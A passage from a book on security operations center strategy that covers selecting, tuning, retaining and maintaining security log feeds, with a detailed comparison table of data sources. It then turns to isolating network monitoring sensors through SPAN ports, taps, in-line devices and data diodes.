concrete set of deliverables and returns that will result, and (3) the set of data being collected is seen as finite and therefore manageable. Another challenge for SOCs when working with security-relevant logs in support of incident response is user attribution. Due to the very nature of the ways many OSes and applications function, it is difficult, or sometimes nearly impossible, to tie a user to every action that a system carries out. For instance, many actions carried out by a host may occur at the system level and are not user initiated. In other cases, the identity of the user is not carried throughout the length of the system. Such is the case, for instance, when attributing who inserted a USB stick into a desktop computer or understanding what SQL database query is linked to which application user. User attribution is hard. Attaining probable or confirmed connections to people’s actions is a big part of running incidents to ground. We think we saw an attack originate from outside the enterprise. While its originat - ing IP netblock is assigned to Kazblockistan, is this the location of the attackers or just the next hop out? You may have logs that say Alice printed a pile of sensitive documents that ended up at her house weeks later, but was she the one who actually walked out the door with them? True user attribution means you know beyond the shadow of a doubt that someone’s actions are actually tied to what shows up in an IDS alert or system log. Inside the enter - prise, this can be a challenge, even with clock-matched security camera video and copious system logs. Outside the enterprise, this is nearly impossible. This is why, when it comes to actually prosecuting users for their misdeeds, SOCs work with law enforcement and legal counsel. 9.2.2 T ypical Sources We have established the need for concrete requirements and the need for careful attention to detail when considering which log types to collect. In this section, we cover the most common data feeds that a SOC will leverage. In Table 16, we provide an overview of the many common log sources collected by SOCs. This table includes information about (1) what their data reveals at a cursory level, (2) a rough order of magnitude of event volume, (3) what their volume depends on most heavily, (4) what the general value of their data is, and (5) common fields of interest. Before we elaborate on the table itself, there are a number of assumptions and caveats that should be recognized: 192 ‚Some of the most popular data feeds for Small and Large Centralized SOCs from Section 4.1.2 are bolded; again, understanding there is no “one size fits all.” ‚The number of devices listed assumes a typical constituency of 5,000–50,000 users and IPs, with a centralized SOC organizational model in mind. • The number of actual hosts in a given constituency will obviously vary. The num- bers listed in this table are given to help the reader form an estimate of data vol - ume—given the number of devices and the typical number of events per device. • The number of devices refers to the number of end systems generating this data, not systems that serve as the collection point. For example, we list tens of thousands of devices for AV, even though their data is likely rolled up to one or a few AV man - agement servers. ‚In addition to the items listed in “Volume depends on,” the volume of every feed depends on the following four items: • The volume of activity seen by the device generating the events • How that data feed is tuned at the generating device and upstream • The detail and verbosity available from the given source devices • How the end device(s) are configured. ‚“Subjective value” gives a sense of the likely quality of each particular data type, assuming it has been tuned properly. • The actual value of a given data feed will, of course, vary within the context of the constituency, implementation, mission, and particular product implementation. • Its value is described as follows: ‚4 = Excellent ‚3 = Good ‚2 = Fair ‚1 = Poor ‚0 = None/Not applicable • We show the value of a given data feed under the following three circumstances: ‚“Tip-off” means the data will help direct the analyst’s attention, without addi - tional enrichment from correlation by a SIEM. ‚“Tip-off with correlation” means a given log entry will provide a good incident tip-off, assuming it is enriched or correlated with other data. ‚“Supporting context” means it helps an analyst establish the ground truth of an incident. ‚“Fields of interest” describes the specialized fields commonly found in that data source, which are of particular interest for correlation or forensics purposes. We assume the following standard fields in each data type:Exercise Discrimination in the Data You Gather T en Strategies of a World-Class Cybersecurity Operations Center193 • Date and time, at least down to the second, possibly with time zone • Source IP, port, and hostname, if applicable • Destination IP, port, and hostname, if applicable • IP and/or hostname of the device that originated the event • Event name, possibly with a detailed description. For a more detailed illustration of various log types, see Chapter 2 of [48] , and [234] . For an alternative perspective of which logs to collect, see page 22 of [235] . 9.2.3 Tuning We have selected a data feed for collection—how should we pare down its volume? Recall our discussion of data quality and tuning, from Section 2.7 , and the tools we have at our disposal to gather, correlate, and display data, from Section 8.4 . There are two classic approaches that SOCs may take in selecting and tuning data sources: tune up from zero or tune down from everything. Table 17 identifies the pros and cons of each approach. Luckily, modern SIEM and LM systems give the SOC a great deal of leeway in how to decide which data to collect and retain, allowing us to pursue a hybrid of these two approaches. For instance, the SOC can collect all of the data being generated by firewalls and Web proxies but only use a very small percentage of those feeds for purposes of cor - relation with, and display to, analysts. Great care must be taken not to overburden collec - tion systems or analytic frameworks with too much data. Refer to Figure 8 in Section 2.7 . There is an optimum spot for every data aggregation framework, where we strike a balance between performance and volume. There is a common pitfall when defining audit policies—generating messages only on a “fail” but not on a “success.” Failure events include users typing in the wrong password or being blocked from visiting a website. Failures mean a device did its job. It stopped some - one or something from doing what it shouldn’t do—this is a good thing. Successes—file modification granted, file transfer completed, and database table insert—are often where we actually need to be concerned. This leads us to an important point: Don’t log just the “denies”; the “allows” are often just as important. Consider situations in which “allows” are often more important than “denies”—mal - ware beaconing, RATs, data exfiltration, and insider threat. With only failure attempts logged, we may not get the whole story. Also, when we take notice of the “allows,” we have events that we need to take action on; “failures” usually require no further action. Failures may tip off an analyst to activity of concern or trigger a correlation rule; successes are just 194 Table 16 Comparison of Common Security-Relevant Data Sources WhatWhat it tells you and use casesTypical # of events per day per deviceVolume depends onTypical # of devicesSubjective Value As… Fields of interest Tip-off (raw)Tip-off w/ correlationSupporting context NIDS/NIPS1Attacks seen traversing the network; see Sec-tion 8.2.2100s– 100,000sSignature set, features10s–100s 3 4 1Allow/block, vulnerability ID NetFlow 2High-level statistics on all network traffic seen; see Section 8.2.3100s– 1,000,000sLocation of tap10s– 1,000s1 4 4 Bytes in/out Full net - work ses-sion capture (PCAP) Full details of entire network conversation; see Section 8.2.5N/A 3PCAP collection filters1s–100s 0 0 4Everything about each layer of the protocol stack HIDS/HIPS Attacks, other activity seen at the host; jack-of-all-trades, master of none; see Section 8.3.310s– 1,000sT uning of signature set1,000s– 10,000s3 4 2Process name/ID, action taken (allow/block), file name 1 R ecall our discussion from Section 8.2 —an analyst needs full PCAP, signature definitions, and NetFlow to make heads or tails of an IDS alert. 2 R ecall our conversation in Section 8.2.4 —data from these tools can often support many of the same uses cases as firewalls, and vice-versa. Some NetFlow collection systems also produce metadata on popular protocols such as HTTP and SMTP, mak - ing Web content filter and email gateway logs somewhat redundant. 3 P CAP doesn’t get delivered in events; however, it generally dwarfs all other data sources listed in the table, in terms of vol - ume. For more details, see Section 8.2.5 .Exercise Discrimination in the Data You Gather T en Strategies of a World-Class Cybersecurity Operations Center195 Table 16 Comparison of Common Security-Relevant Data Sources WhatWhat it tells you and use casesTypical # of events per day per deviceVolume depends onTypical # of devicesSubjective Value As… Fields of interest Tip-off (raw)Tip-off w/ correlationSupporting context System integrity checkerDetailed changes to key host configuration files, settings; see Section 8.3.510s– 10,000sVolume of automated admin tasks1,000s 3 4 2 File name, hash AV Hits on known, eas-ily identifiable malware; see Section 8.3.210sExposure to downloaded files10,000s 4 4 1File name, virus name, user name, action taken User activity monitoring Everything a user does while logged in; see Section 8.3.8100s– 10,000s# of users under scrutiny10,000s 1 4 4 User name, action taken Intellectual property and DLPAttempts to infiltrate or exfiltrate documents and other information from the enterprise1s–100sPolicies on removable storage, file transfer use10,000s 2 4 4User name, 1 removable storage unique ID, proto-col or device used Network firewallActivity and bandwidth seen across firewall, NAT records, and possi-bly FTP and HTTP traffic details100,000sFirewall rule set, volume/diversity of traffic10s 1 4 3Session ID for NATing, bytes in/out 1 M any DLP events will not be labeled with the user name of the person plugging in or removing USB mass storage devices. This is a good example of how user session tracking in the SIEM might provide a compelling use case, albeit a potentially complicated one. 196 Table 16 Comparison of Common Security-Relevant Data Sources WhatWhat it tells you and use casesTypical # of events per day per deviceVolume depends onTypical # of devicesSubjective Value As… Fields of interest Tip-off (raw)Tip-off w/ correlationSupporting context Web con- tent filterDetails of all proxied traffic, usually HTTP; tracking Web usage, malware sites10,000s– 1,000,000sFiltering rules in use1s–10s 3 4 3Allow/block, URLs, refer - rer, user agent, Web site category (news, shop-ping), website reputation score Mail gatewayDetails of email that goes in and out of enterprise; insider threat, data leakage1,000s– 100,000sQuantity of spam10s 1 4 3T o/from address, subject, attachment name, allow/block/quarantine Email server logsDetails of ALL email that server handles1,000s– 100,000sAmount of internal email traffic1s–10s 1 4 3T o/from address, subject, attachment name Content detonation deviceMalware found in streams of Web or email data10s–100sAmount of malware ingress to the network1s 4 4 4Malware name, file name, source content, hash, vulnerability ID Router/ switchLink, port up/down, router changes, loca-tion of MAC addressed attached to network100s– 10,000sVerbosity of logging level enabled100s– 1,000s1 2 2 Bytes in/out, MACExercise Discrimination in the Data You Gather T en Strategies of a World-Class Cybersecurity Operations Center197 Table 16 Comparison of Common Security-Relevant Data Sources WhatWhat it tells you and use casesTypical # of events per day per deviceVolume depends onTypical # of devicesSubjective Value As… Fields of interest Tip-off (raw)Tip-off w/ correlationSupporting context DNSMajor events on the DNS server such as zone transfers; DNS requests from internal servers can reveal mal-ware beaconing.10,000s– 1,000,000sVerbosity, DNS caching in place1s–10s 0 4 2Contents of DNS query and response Dynamic Host Con-figuration Protocol (DHCP)Records of DHCP lease requests/renewals; what systems were on the network, when, and where100s– 10,000sDHCP lease timeout10s– 1,000s0 1 2DHCP lease info, lease MAC NACResults of any sys-tem attempting to gain logical access to the network100s– 10,000sComplex - ity of policy, openness of network10s–100s 2 4 3System details (OS, patch level), MAC, allow/quarantine Remote Access System and VPNAttempts to gain remote access to the enterprise10s–1,000sSize of remote worker pool, # of partner orgs1s–10s 0 3 3User name, remote IP, cli-ent version 198 Table 16 Comparison of Common Security-Relevant Data Sources WhatWhat it tells you and use casesTypical # of events per day per deviceVolume depends onTypical # of devicesSubjective Value As… Fields of interest Tip-off (raw)Tip-off w/ correlationSupporting context Windows Doman Controller 1Authentication, access control events for all systems on domain; 2 variety of use cases with careful interpretation10,000s– 100,000sAudit policy 1s–10s 2 4 33User name, user privi-leges, success/fail, other Windows specifics Local Win-dows event logsAuthentication, access control events for that particular host, regard-less of whether it uses domain privileges10s–100s Audit policy 10,000s 2 4 4User name, user privi-leges, success/fail, Other Windows specifics Single sign-on (SSO) and iden-tity access management Consolidated tracking of logical user access to enterprise resources, common user names spanning disparate systems1,000s– 100,000sNumber of systems SSO-enabled1s–10s 0 3 4User name, trans-lated (real) identity, user attributes 1 L ogging activity on the domain can be fairly challenging due to the complex nature of how Windows records logs, at least in part because of the complexities inherent in the Kerberos protocol [318]. 2 I t’s important to recognize that activity on systems in the domain that occurs under a nondomain account often won’t get rolled up to the domain controller. This is very important if an attacker uses a local system account to do something bad and you were expecting to see that information show up in the domain controller logs. However, domain controllers usually serve a logical consolidation point for logs, whereas instrumenting each end host, even just servers, can be costly. If used properly, domain controller logs can be a smoking gun for spotting insider activity. 3 U nfortunately, the way Windows writes user login/logoff records makes tracking user sessions challenging. See [319] and [320] .Exercise Discrimination in the Data You Gather T en Strategies of a World-Class Cybersecurity Operations Center199 Table 16 Comparison of Common Security-Relevant Data Sources WhatWhat it tells you and use casesTypical # of events per day per deviceVolume depends onTypical # of devicesSubjective Value As… Fields of interest Tip-off (raw)Tip-off w/ correlationSupporting context Physical access con-trol (badge reader)Physical access to enterprise facili-ties (badge in, possi-bly badge out); insider threat1s–100sPenetra-tion of deployment, requirement for each per - son to swipe in and out1s–100s 0 3 3 User ID, room # UNIX/Linux OS logsPrivileged system actions (usually auto-mated activity)10s–1,000sAmount of system activity 10s–1,000s 2 4 4 Process name/ID COTS appli-cation, cus-tom-built appsApplication-specific actions, logical user access and changes to objects and data; gold-mine for insider threat monitoring; account compromise and data leakage10s– 100,000sUser popula-tion, applica-tion type and complexity1s–100s ? 14 3User name, action, object name 1 C ustom and COTS applications, which are often Web-enabled, offer very interesting opportunities for monitoring because they often closely support core missions of the constituency. However, they often write logs in a variety of formats, requiring custom log parsers and human interpretation. A SOC that has resources to leverage even a few of these can really hit a home run when they uncover malicious activity that manual human review couldn’t. 200 Table 16 Comparison of Common Security-Relevant Data Sources WhatWhat it tells you and use casesTypical # of events per day per deviceVolume depends onTypical # of devicesSubjective Value As… Fields of interest Tip-off (raw)Tip-off w/ correlationSupporting context Web serverResults of HTTP requests to all pages on server100s– 100,000sComplex - ity of web-site, number of users, popularity1s–100s 1 3 3URL, HTTP code, refer - rer URL, user agent, user name (if authenticated) DatabaseSome or all SQL com-mands and possibly part of their results1,000s– 1,000,000sComplexity of database, number of users and applications10s–1,000s 1 3 3SQL statement issued, database user and privileges Vulnerability scanner Known vulnerabilities, services, and other details about scanned hosts; see Section 8.1.310,000sHow often you scan10s 1 2 3Vulnerability name, scan date, otherExercise Discrimination in the Data You Gather T en Strategies of a World-Class Cybersecurity Operations Center201 as important in understanding the full story. Moreover, “allows” are ripe for the kind of analytics and correlation SIEM tools bring to bear. 9.2.4 O btaining Feeds Actually getting data feeds hooked up and turned on can be a big obstacle for the SOC, often due to political hurdles rather than technical ones. There are several strategies the SOC can pursue to overcome these challenges. First, the SOC is advised to pursue a consistent, aboveboard process in acquiring new data feeds. While quick and informal agreements with system owners and sysadmins can get results quickly, they may not be durable, due to personnel turnover. If the constituency has an engineering or CM process that supports timely delivery of services, the SOC should leverage this existing process for articulating requirements. Second, in medium to large constituencies with Centralized and Tiered SOC models, a formal MOA or MOU may help when setting up a major set of data feeds or targeted moni - toring engagement. This memorandum articulates several items: ‚What data is being gathered ‚What it is being used for, such as targeted use cases, general CND, insider threat, and so forth Table 17 Approaches to Tuning Data Sources Approach Pros Cons Start with the entirety of a given data feed and tune down to a manage- able data volume that “meets common needs”Requires little foreknowledge of the data being gathered Easiest to implementEnables SIEM/LM tools to leverage full scope of data features and event types offered May overwhelm tools and analysts if data feed is too voluminous If methodology is used for many data feeds, poses exponential risk of “data overload” “Default open” filtering policy toward data collection poses long-term risk to data aggregation systems as feeds change over time Start with a candidate data feed, and tune up from zero, focusing only on what is deemed useful or importantKeeps data volume low Focuses systems and ana- lysts only on what is deemed to be of interest Less problematic for shops just getting startedCarried to its extreme, limits value given time/effort granting SOC access to given data feed Analysts blind to features of data feeds not explicitly set for input into data collection systems Approach may require more labor to implement 202 ‚Who is responsible for formal audit review and long-term log retention ‚Whom to call if the data feed goes down or changes in any major way, or to decide whether escalation is needed for an incident detected from one of the supplied data feeds ‚How the collected data will be secured, especially if any steps need to be taken to protect users’ privacy or data confidentiality ‚Reference to any important authorities such as a SOC charter or CONOPS ‚Any additional expectations of the SOC, system owners, or sysadmins. Third, the SOC will benefit immensely if the constituency establishes the SOC as the CND provider of choice for the constituency and, potentially, the preferred audit data col - lection hub. This makes the SOC the default recipient of audit data for all new systems and should compel new programs and projects to proactively approach the SOC. At the very least, the SOC should have policy formally recognizing it as having the right to ask for and retain audit data from constituents. Fourth, it is important to recognize the technical impact audit data collection places on constituent systems. There are several tips we can offer here as well: ‚Minimize the number of agents deployed, especially on end systems. If the SOC can completely avoid placing an agent on a constituent system, the SOC will avoid blame for any sort of impact when a system goes down or is performing slowly. ‚Carefully tune performance-related parameters of the agent, such as the polling fre - quency for events, and the number of alerts retrieved in each poll. ‚Leverage existing collection points (such as syslog aggregation points and manage - ment servers) where they exist, provided they meet the following criteria: • Data is delivered to that collection point without substantial loss in original fidelity and detail. • The SIEM or LM system has an agent for the collection point. • Data is delivered in a timely manner so it does not disrupt the correlation capabili - ties of the SIEM; this usually means delivery of events in less than five minutes. ‚Leverage assured delivery where such options exist: • Connectionless protocols (such as syslog over UDP) can be a problem because events can be lost in network congestion or lossy links—consider instead syslog over TCP. • Placing the agent close (logically or physically) to the source systems may help since the SIEM or LM system may offer encrypted, assured delivery. ‚Consider using a SIEM or LM system that can transmit events from one agent to mul - tiple destinations, thereby supporting redundancy and COOP, if needed.Exercise Discrimination in the Data You Gather T en Strategies of a World-Class Cybersecurity Operations Center203 Finally, we should recognize that the SOC will likely want to collect data from systems or applications for which its SIEM or LM system does not have an agent. The constituency will almost certainly have applications or systems that record security-relevant audit logs that do not follow a recognized format. As we discussed in Section 8.4.5 , several audit data “standards” exist, but none have gained universal adoption. 9.2.5 Lo ng-Term Maintenance IDS sensors and audit data feeds require long-term care and tuning. For SOCs with large constituencies and a variety of data feeds, this can be a daily battle. Systems are constantly being installed, upgraded, migrated, rebooted, reconfigured, and decommissioned. All of these events have the potential to present blind spots in the SOC’s monitoring coverage. Constant vigilance is needed by SOC sysadmins to ensure this does not become a serious problem. Here are a few tips to keep things from getting out of hand: First, enforce robust but not overbearing CM for SOC monitoring data feeds. With this, sysadmins can keep track of changes to monitoring systems. Some SOCs choose to main - tain a list of systems from which they should be getting logs. This list can be scrubbed from real-time data feeds through manual or automated means such as scheduled reports or correlation rules in the SIEM. SOCs are also advised to maintain a technical POC list for all data feeds, as they do for NIDS/NIPS sensors placed at remote sites. Second, maintain regular contact with constituency sysadmins and engineering pro - cess change boards, to keep track of changes to systems. Having regular representation at the boards to maintain awareness of new projects may help. Third, check data feed status, either daily or every shift. Just because an agent is green doesn’t necessarily mean the data feed is online. It may just mean the agent software hasn’t crashed. Consider performing regular checks against feeds from high-value targets to ensure there are no interruptions. Also, perform regular checks against SIEM content that is dependent upon key data feeds—is a dashboard blank because there are no attacks today, or because the feed is down? Either is a strong possibility. To keep a more real-time view on health and welfare, consider making this an hourly duty for junior sysadmins or Tier 1 analysts. One virtue of maintaining vigilant watch over data feeds is that feedback to end sys - tem owners will help them recognize that, yes, the SOC is indeed watching. It is doubly important to stay vigilant, because not only does the SOC want to minimize downtime in event feeds, but if outages are caught in real time, system owners can be contacted and asked, “Hey, what did you just do?” This will minimize the time needed to track down the changes that caused the outage. 204 9.2.6 D ata Retention and Leveraging Data Feeds for Audit The SOC’s log collection architecture can often be used to support log audit review, espe - cially in cases where such review is mandated by law or regulation. There are many advantages to fusing audit and CND data collection efforts—the SOC will likely have access to a large set of audit data as it is the de facto collector, and the logs can be brought into one place while serving more use cases. On the other hand, this may become a burden to the SOC if not executed carefully. Here are some tips to consider: First, the SOC’s mission does not include full-scope audit review; security officers (in government, ISSOs) and sysadmins do that. SOCs almost never have the resources to per - form comprehensive, widely scoped reviews of the constituency’s torrent of audit logs. The SOC is there to perform targeted or enhanced correlation and monitoring. This expectation and division of responsibilities must be made clear to security and compliance stakehold-ers as well as system owners and admins. Second, those who are granted access to audit logs (e.g., ISSOs and personnel within the office of the CIO) should be granted access to the slice of logs and roll-up reports necessary to fulfill their job. Unfettered access to all logs by a widespread group of people outside the SOC will inevitably lead to conflicts in incident identification and escalation. It will also risk compromise of sensitive insider threat cases. The SOC should carefully work to avoid letting others move too far into the CND area of responsibility. Third, collection and retention of the constituency’s full-scope audit log data will require additional resources—both for systems and the people to manage them. The SOC is strongly advised to procure additional resources in order to sustain this activity. Fourth, the SOC may be able to leverage existing tools and infrastructure to get an audit pilot off the ground. However, the SOC should consider an audit collection archi - tecture that utilizes a scalable, tiered approach. By segregating data not used for CND purposes, the SOC will minimize the impact on its own operations. For instance, SIEM or log aggregation agents/collectors can be used to extract audit data once and transmit it to separate SIEM/LM instances. Finally, by taking on a portion of the audit mission, the SOC’s log collection systems will be subject to collection and retention requirements that may exceed those driven by the CND mission alone. In the world of audit requirements, technical challenges related to data storage volume and cost are often ignored. The SOC must proactively manage these requirements, because they will impact performance of SOC tools and personnel. Table 18 suggests guidelines for online log retention within the SOC, recognizing the needs of SOC Tier 1 and Tier 2 analysts, as well as the need for external audit and inves - tigation support. These can be used as a starting point for the SOC to evaluate how long it Exercise Discrimination in the Data You Gather T en Strategies of a World-Class Cybersecurity Operations Center205 believes it needs to keep data readily available for query, in the context of its own opera- tions and mission. Table 18 Suggested Data Retention Time Frames What Tier 1 Tier 2+External Support IDS alerts and SIEM-correlated alerts 2 weeks 6 months 2+ years NetFlow/SuperFlow logs 1 month 6 months 2+ years Full-session PCAP 48 hours 30–90 days 2+ years Audit logs 48 hours 6 months 2+ years The most common standard audit retention policies, at least those in government agen - cies, usually set audit data retention at 60 months or more. These stand in contrast to how long SOCs usually must retain data for their own purposes. The most onerous requirement usually stems from supporting external investigations, where a law enforcement entity may approach the SOC and ask for logs on a given subject as far back as it has them, pos - sibly for several years. This can be a real challenge. Consider full-session PCAP. This is not audit data, but keeping it around for case support is definitely beneficial. On the other hand, retaining PCAP for several months or more can be extremely expensive with high throughput connections. Extracting data on a given subject from several years of log data can be very laborious. It is something few SIEM and LM products excel at, in part because user attribution is so challenging. 206Chapter 10 Stra tegy 8: Protect the SOC Mission Operating a SOC presumes that at some point the constituency will be com- promised. Moreover, actors of concern include individuals with legitimate access to constituency IT resources. Following this logic, the SOC must be able to function without complete trust in the integrity, confidentiality, and availability of constituency assets and networks. While the SOC must have strong integration with constituency IT systems, it must be insulated from compromise. In our eighth strategy, we examine ways to keep the SOC’s information and resources out of the hands of the adversary, while main-taining operational transparency. Military and civilian intelligence organizations must closely pro - tect their sources and methods in order to sustain their mission. Were adversaries to discover how and where they were being watched, they would instantly gain the ability to circumvent detection. The relationship between the SOC and a cyber adversary is no different. If attackers knew where sensors are placed and what signatures are running on them, they would be able to craft an attack and persistence strategy that would go unnoticed by the SOC. A SOC is able to execute its mission precisely because the adversary does not know where or how monitoring and response capabilities operate. T en Strategies of a World-Class Cybersecurity Operations Center207 Even the best SOCs have gaps in their visibility. Moreover, knowledge of what moni - toring tools are in use allows the adversary to mount direct attacks against them or, more often, shape its attacks to avoid detection. Best of breed SOCs operate some or all of their systems in an out-of-band fashion that isolates them from the rest of the constituency. In order to protect the SOC mission, our design goals are as follows: ‚Achieve near zero packet loss at designated monitoring points of presence. ‚Prevent the adversary from detecting the presence of (and evading) monitoring capa-bilities such as IDS and IPS. ‚Ensure delivery of 100 percent of security events from end devices to SOC monitoring systems while protecting them from prying eyes, when necessary. ‚Support the survivability of the SOC mission, even when portions of the constituency are compromised, and prevent unauthorized access to SOC assets. ‚Protect from disclosure sensitive documents and records maintained by the SOC. We discuss how to address these goals in a bottom-up approach, starting with isolating IDSes and ending with considerations for data sharing. One thing to keep in mind—being overly cautious can get very expensive and doesn’t necessarily help the constituency’s perception that the SOC is the proverbial Big Brother. There’s a fine line between good IT hygiene and paranoia, and that line is different for each SOC. 10.1 I solating Network Sensors In this section, we briefly cover common methods for redirecting copies of Ethernet traffic from constituency networks to the SOC’s sensors. As these topics are covered extensively in existing literature, we summarize some important points related to reliability, cost, and protection of the sensor in question. Figure 28 illustrates popular approaches to making copies of network traffic.Starting at the top left, we see a network hub that is being used to copy network traffic to a passive network sensor. This is the most straightforward approach. By inserting a layer 1 Ethernet device between Alice’s and Bob’s networks, the sensor will see a copy of the traffic passed. However, there are a number of reasons this is less than desirable. Packet collisions and packet latency can become a serious problem. By using a hub, packets will be dropped and the sensor will miss traffic. In addition, most modern networks operate at 1 Gb/s or 10 Gb/s speed; hubs essentially do not exist in speeds faster than 100 Megabits/s. Finally, hubs are generally not very fault tolerant. Thus, network owners are unlikely to approve the placement of a flimsy device between two networks. At the top right, we replace the hub with a layer 2 or layer 3 network switch. This switch is configured with a switched port analyzer (SPAN) to copy or “ span” traffic from one or more source ports or virtual LANs (VLANs) to the port hosting a network sensor. 208 This approach offers most of the benefits of the hub approach, by using enterprise-grade network equipment that probably is already in operation across the constituency. The major caveat to this approach is that the SPAN must be set properly, and that its configu - ration must continue to match the intended source ports and VLANs down the road. As network topology changes, respective SPAN configurations must be altered to match. In the middle of the diagram, we see two different scenarios that leverage a network tap. A network tap is essentially a device inserted between two network nodes that makes a copy of all network traffic flowing between them. On the left, we see a passive network tap (in the case of copper) that simply makes an electrical copy of the traffic flowing, or, in the case of optical taps, uses a mirror to actually split the transmit (TX) and receive (RX) light beams. With “dumb” or passive network taps, we must use a sensor that has built-in Protect the SOC Mission Figure 28 Copying Network TrafficSensor sees a layer 1 copy of traffic betweenAlice and Bob Sensor sees a layer 1 copy of traffic from Alice to Bob and a copy of Bob to Alice RX Copy TX Copy Passive Network Tap Active Sensor Active NetworkAggregation TapSensor sees alayer 1 copy oftraffic betweenAlice and Bob PassiveSensorPassiveSensor Alice’s NetworkBob’s Network Alice’s NetworkBob’s Network Alice’s NetworkBob’s NetworkAlice’s NetworkBob’s NetworkAlice’s NetworkBob’s Network PassiveSensorPassiveSensorSensor sees alayer 2 copy oftraffic betweenAlice and B ob via SPAN port Layer 2 Switch Hub T en Strategies of a World-Class Cybersecurity Operations Center209 logic that recombines the RX and TX lines into one logical stream of traffic suitable for decoding. On the right, an active network aggregation tap does this work for us but, at the same time, has the disadvantage of saturating its monitor port if both Alice’s and Bob’s aggregate bandwidth exceeds that of the monitor port. Popular manufacturers of network taps include NetOptics [236] , Fluke [237] , Network Critical [238], and Datacom Systems [239]. Network taps aren’t generally subject to the same range of misconfigurations that switch SPANs are; that said, network sensors certainly get disconnected from time to time. Keeping SPAN configurations up-to-date so network sensors don’t go “dark” is a major pain point for many SOCs with large sensor fleets. Keeping tabs on sensor traffic statistics and “health and welfare” is a daily job, even when using network taps. Finally, at the bottom, we see a sensor placed directly in-line between Alice’s and Bob’s networks (e.g., a NIPS). Most modern COTS NIDS/NIPS appliances offer a monitoring mode where the sensor can sit in-line and passively listen to traffic without any intentional interference. Less robust sensors may “fail closed” (e.g., if an error occurs or the device loses power) and disconnect Alice and Bob. However, most best-of-breed products take great care to avoid this problem. In every case discussed, the network sensor must be physically near the network devices it monitors. This usually means that the network sensor is in the same rack, server room, or building as the monitored network segment. While it is certainly possible to send a copy of network traffic to a distant sensor using a remote SPAN, long-range optical con - nection, or even a WAN link, doing so can become very expensive. In essence, this usu - ally means doubling the network throughput from the source network equipment to the location of the sensor. This almost never makes architectural or financial sense. Physically placing sensors adjacent to their monitored network segment is almost always the cheapest option; as a result, effective remote management is essential. We summarize the pros and cons of approaches to traffic redirection in Table 19.All these traffic redirection options have implications for how we prevent the network sensor from compromise or discovery. First, the monitoring port or ports should not have an IP address assigned to them. This will minimize the likelihood that it will talk back out on the network or bind services to the port. It follows, of course, that the monitoring port(s) should be used exclusively by the monitoring program(s) on the sensor and not be used for management or other services. 210 Protect the SOC Mission Table 19 Traffic Redirection Options What Pros Cons HubCheap Easy to installCan attach as many monitoring devices as there are free portsSensor only sees what links at its same speed, not what links on other speeds, leading to gaps in visibility. Network management personnel may not be okay with non-enterprise-grade devices in critical routing points in the network. Sensors will miss packets due to collisions.Inherent inefficiency in hub’s handling of traffic may lead to network bottlenecks. It is nearly impossible to find hubs that operate at gigabit (or above) speeds, limiting use to links that are throttled at 100 Mb/s. SPANFree to use if monitoring points already have managed switches in place, which is very likely RX and TX are combined; one net - work cable off a SPAN port can plug right into a sensor. Straightforward for monitoring traffic from any device hanging off a switch (such as a firewall, WAN link, or cluster of servers) Can attach as many monitoring devices as there are free ports Can be used to monitor network core, such as spanning multiple ports off a core switch or routerAn adversary with access to the enterprise network management platform (e.g., a terminal access control-ler access control system [TACACS] server) can disable monitoring feeds to the sensor. Some older or cheaper switches support only one SPAN port per switch, meaning additional switches may be needed if more than one sensor is desired. When spanning traffic from multiple source ports, the destination SPAN port may become oversaturated if the source ports’ traffic aggregate bandwidth exceeds the SPAN port’s speed. Changes to VLAN or port configurations after initial SPAN configuration can partially or completely blind the network sensor without the SOC necessarily realizing it. TapEssentially invisible from a logical per - spective. They only operate at layer 1, meaning the adversary does not have an obvious target to exploit or circumvent. Should not alter packets in any wayActive network regen taps support multiple monitoring devices.An additional device (albeit usually well built and simple) that can fail is introduced into critical network links. Only appropriate when observing conversation between two networked devices (as opposed to many with a network switch SPAN), as is often the case in perimeter network monitoring. Every monitoring point requires the purchase of an addi- tional tap device. With a passive tap, RX and TX lines need to be recom- bined; some sensor technologies do have the internal logic to do so. Passive network taps only support one monitoring device. T en Strategies of a World-Class Cybersecurity Operations Center211 Table 19 Traffic Redirection Options What Pros Cons In-lineSensor can actively block traffic, depending on rule set.If sensor goes down, it may cut off communication unless resiliency features are built in (e.g., “fail open”). Some sensor technologies may introduce packet latency or packet reordering, which in turn can sometimes degrade network quality of service or make the sensor detectable. More than one monitoring device means serial attach- ment of devices in-line, each being a separate point of failure. In more extreme cases, this isn’t enough. There are approaches we can take at a hardware level to ensure that the IDS’s monitor ports cannot interact with the monitored network. In the case of a network tap, this has already been done. These devices, by their very nature, make copies of traffic that are destined for the sensor’s monitoring port and do not accept response traffic. In the case of COTS in-line devices, the opposite is the case. We must trust the imple - mentation of the sensor technology to ensure the device will not interact with the network it is monitoring (except for blocking traffic, when appropriate). In the case of FOSS in-line devices, this duty falls upon both the authors of the FOSS monitoring software and the integrators of the FOSS sensor platform. If we are using a switch to span traffic to a sensor, we have some interesting options at our disposal. We must prevent the sensor from transmitting packets back out on the net - work, thereby mitigating the effects of most attacks against the sensor (with the exception of DoS). However, the network switch that is sending the sensor packets must also estab - lish a layer 1 link before it will transmit packets. As a result, we can’t just clip the transmit leads onto the Ethernet cable running from the sensor to the switch—the switch will think there is no device attached and drop the spanned traffic. In this case, we have two options. The first is to fabricate a receive-only Ethernet cable, as is specified in [240] . Compared to other options, this approach is quick, cheap, and easy. If the passive network sensors are to reside on a network with a significantly different trust level than the network being monitored, a more robust solution such as a data diode may be necessary. Many commercial data diode solutions exist (e.g., those by Owl [241] or HP/Tenix [242] ). However, these tend to be expensive and don’t really meet our needs. We need an unaltered stream of network traffic data directly from the monitored network 212 (something most commercial data diodes don’t do). Also, in large enterprises, we may have many dozens or hundreds of sensors, necessitating an economical solution. It is possible to use three copper to fibre network transceivers to do this, as described in [243] and shown in Figure 29. In Figure 29, we see the three fibre transceivers in light green. Each transceiver has three connections: (1) fibre transmit (TX), (2) fibre receive (RX), and (3) a copper RJ45 combined receive/transmit connection (Cu). They are connected in such a way that data can only flow from the monitored network to the sensor. In this arrangement, we use the third data diode at the bottom of the diagram to fool the data diode on the top right that it has a valid Ethernet link. What is really happening is that only the RX link from the transceiver on the monitored network side is connected to the TX link on the transceiver connected to the network sensor, at the top left. For further information on network sensor isolation techniques, see Chapter 3 of [9] and [240]. 10.2 D esigning the SOC Enclave We’ve shown how to deliver network traffic to monitoring systems, but this is just the beginning. We must also cordon off SOC systems from the rest of the constituency but still allow them to intercommunicate and gather data. Virtually every SOC in existence is responsible for defending a large number of IT assets. These assets are usually bound through a series of transitive trust relation-ships such as being members of a Windows domain. Most typically, the vast majority of Windows servers and user desktops are members of one or more domains that are Protect the SOC Mission Figure 29 Data DiodeMonitored Network Fibre 